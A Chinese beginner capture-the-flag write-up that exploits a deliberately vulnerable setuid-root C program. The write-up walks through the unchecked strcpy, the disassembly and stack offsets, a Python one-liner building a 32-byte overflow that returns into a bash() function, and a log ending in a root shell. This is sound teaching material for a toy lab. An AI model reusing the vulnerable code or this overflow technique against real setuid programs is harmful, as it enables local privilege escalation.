一次简单的pwn题目

0x01 背景介绍

0x01

0x02

在A师傅的带领下,我假想了一个pwn简单题目,非常适合新手中的新手,其实发出来有点丢人的。

题目背景是这样的:

小Q登录上了一个服务器,他的用户名是rvn0xsy,没有root权限,在home目录里发现了一个名为flag.txt的文件,很明显要获得flag.txt的内容,但是事情并没有那么简单……

小Q踏上了艰辛的旅程。

0x02 初入江湖

小Q查看了一下目录文件:

rvn0xsy@ubuntu:~/Pwn$ ll
total 44
drwxrwxr-x  2 rvn0xsy rvn0xsy 4096 Nov  5 19:50 ./
drwxr-xr-x 20 rvn0xsy rvn0xsy 4096 Nov  5 09:47 ../
-rwsr-sr-x  1 root    root    8487 Nov  5 09:48 a.out*
-rw-------  1 root    rvn0xsy    6 Nov  5 19:50 flag.txt
-rw-rw-r--  1 rvn0xsy rvn0xsy  317 Nov  5 09:48 pwn.c
rvn0xsy@ubuntu:~/Pwn$ cat flag.txt 
cat: flag.txt: Permission denied
rvn0xsy@ubuntu:~/Pwn$ 

发现了flag.txt,没有权限读取 :(

只能把目光转向a.out,这个文件似乎不是那么简单,它具有S属性,如果我们能够通过它来执行命令的话……那肯定可以读取flag.txt !!

旁边还有一个pwn.c,会不会是它的源码呢?

0x03 踏上征程

rvn0xsy@ubuntu:~/Pwn$ cat -n pwn.c 
     1	#include <stdio.h>
     2	#include <unistd.h>
     3	#include <string.h>
     4	#include <stdlib.h>
     5	
     6	int bash();
     7	
     8	int main(int argc,char * argv[]){
     9		setuid(0);
    10		if(argv[1] == NULL){
    11			printf("usage : %s input string \n",argv[0]);
    12			exit(-1);
    13		}
    14		char a[20];
    15		strcpy(a,argv[1]);
    16		printf("%s \n",a);
    17	}
    18	
    19	int bash(){
    20	  system("/bin/bash");
    21	}
rvn0xsy@ubuntu:~/Pwn$ 

可以看到main函数中有一个setuid(0);,它将具有S属性的程序设置为root权限运行,其次该文件中还有一个bash函数,灵光乍现! 如果执行了setuid(0);再调用bash函数就可以获得一个root权限的bash shell。

但是main函数中并没有调用bash函数,这个怎么办呢?

焦虑的小Q又会想起当年学习C语言时,自己触发过N次的segment fault,是由于它没有检查strcpy参数传入的长度,导致覆盖了数组边界。

但是其背后引出的问题都不是那么简单,上面只是普通程序员所理解的程度,而要深入问题的本质,还是要看汇编代码:

>>> disassemble main 
Dump of assembler code for function main:
   0x080484dd <+0>:	push   ebp ;将栈基地址压入栈
   0x080484de <+1>:	mov    ebp,esp ;设置当前栈指针地址为基址
   0x080484e0 <+3>:	and    esp,0xfffffff0
   0x080484e3 <+6>:	sub    esp,0x30 ;将esp向后增长30(16进制=>48字节)位 给char a[20]分配的也在其中
   0x080484e6 <+9>:	mov    DWORD PTR [esp],0x0
   0x080484ed <+16>:	call   0x80483d0 <setuid@plt> ; 调用setuid(0)
   0x080484f2 <+21>:	mov    eax,DWORD PTR [ebp+0xc]
   0x080484f5 <+24>:	add    eax,0x4
   0x080484f8 <+27>:	mov    eax,DWORD PTR [eax]
   0x080484fa <+29>:	test   eax,eax
   0x080484fc <+31>:	jne    0x804851f <main+66> ; 判断argv[1]是否为空
   0x080484fe <+33>:	mov    eax,DWORD PTR [ebp+0xc]
   0x08048501 <+36>:	mov    eax,DWORD PTR [eax]
   0x08048503 <+38>:	mov    DWORD PTR [esp+0x4],eax
   0x08048507 <+42>:	mov    DWORD PTR [esp],0x8048600
   0x0804850e <+49>:	call   0x8048370 <printf@plt> ; 调用printf
   0x08048513 <+54>:	mov    DWORD PTR [esp],0xffffffff
   0x0804851a <+61>:	call   0x80483b0 <exit@plt> ; 退出
   0x0804851f <+66>:	mov    eax,DWORD PTR [ebp+0xc]
   0x08048522 <+69>:	add    eax,0x4
   0x08048525 <+72>:	mov    eax,DWORD PTR [eax]
   0x08048527 <+74>:	mov    DWORD PTR [esp+0x4],eax
   0x0804852b <+78>:	lea    eax,[esp+0x1c]
   0x0804852f <+82>:	mov    DWORD PTR [esp],eax
   0x08048532 <+85>:	call   0x8048380 <strcpy@plt>
   0x08048537 <+90>:	lea    eax,[esp+0x1c]
   0x0804853b <+94>:	mov    DWORD PTR [esp+0x4],eax
   0x0804853f <+98>:	mov    DWORD PTR [esp],0x804861a
   0x08048546 <+105>:	call   0x8048370 <printf@plt> ; 输出 a
   0x0804854b <+110>:	leave  
   0x0804854c <+111>:	ret    
End of assembler dump.

strcpy处设置断点,栈情况:

[------------------------------------stack-------------------------------------]
0000| 0xbfe74180 --> 0x0 
0004| 0xbfe74184 --> 0x2f ('/')
0008| 0xbfe74188 --> 0x804a000 --> 0x8049f14 --> 0x1 
0012| 0xbfe7418c --> 0x80485c2 (<__libc_csu_init+82>:	add    edi,0x1)
0016| 0xbfe74190 --> 0x2 
0020| 0xbfe74194 --> 0xbfe74254 --> 0xbfe75921 ("/home/rvn0xsy/Pwn/a.out")
0024| 0xbfe74198 --> 0xbfe74260 --> 0xbfe7593d ("SHELL=/bin/bash")
0028| 0xbfe7419c --> 0xb755164d (<__cxa_atexit+29>:	test   eax,eax)

0xbfe75921就是argv数组的首地址

>>> x /8s 0xbfe75921
0xbfe75921:	"/home/rvn0xsy/Pwn/a.out"
0xbfe75939:	"123"
0xbfe7593d:	"SHELL=/bin/bash"
0xbfe7594d:	"TERM=xterm"
0xbfe75958:	"USER=rvn0xsy"
0xbfe75962:	"LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31"...
0xbfe75a2a:	":*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.d"...
0xbfe75af2:	"eb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35"...
>>> 

可以看到,我们传入的1230xbfe75939

通过计算strcpy()的栈偏移量,我们可以确定0xbfe75939ESP中函数返回值的空间有0xc这个长度。

由于还有内存对齐的缘故,所以缓冲区的大小应该是32,再向后4个字节就是strcpy的下一条指令的地址

0x04 小有成绩

获得bash函数的地址:

>>> p bash
$1 = {int ()} 0x804854d <bash>
>>> 

构造shellcode:

python -c "print 'x'*32+'\x4d\x85\x04\x08'"> exploit.txt

0x05 修仙完毕

rvn0xsy@ubuntu:~/Pwn$ ./a.out $(cat exploit.txt)
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxM� 
bash-4.3# cat flag.txt 
12580
bash-4.3# id
uid=0(root) gid=1000(rvn0xsy) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),125(sambashare),1000(rvn0xsy)
bash-4.3# exit
exit
Segmentation fault (core dumped)
rvn0xsy@ubuntu:~/Pwn$ 

flag.txt内容是12580,退出的时候,是由于EIP寄存器指向了一个非指令内存区域,导致段地址错误。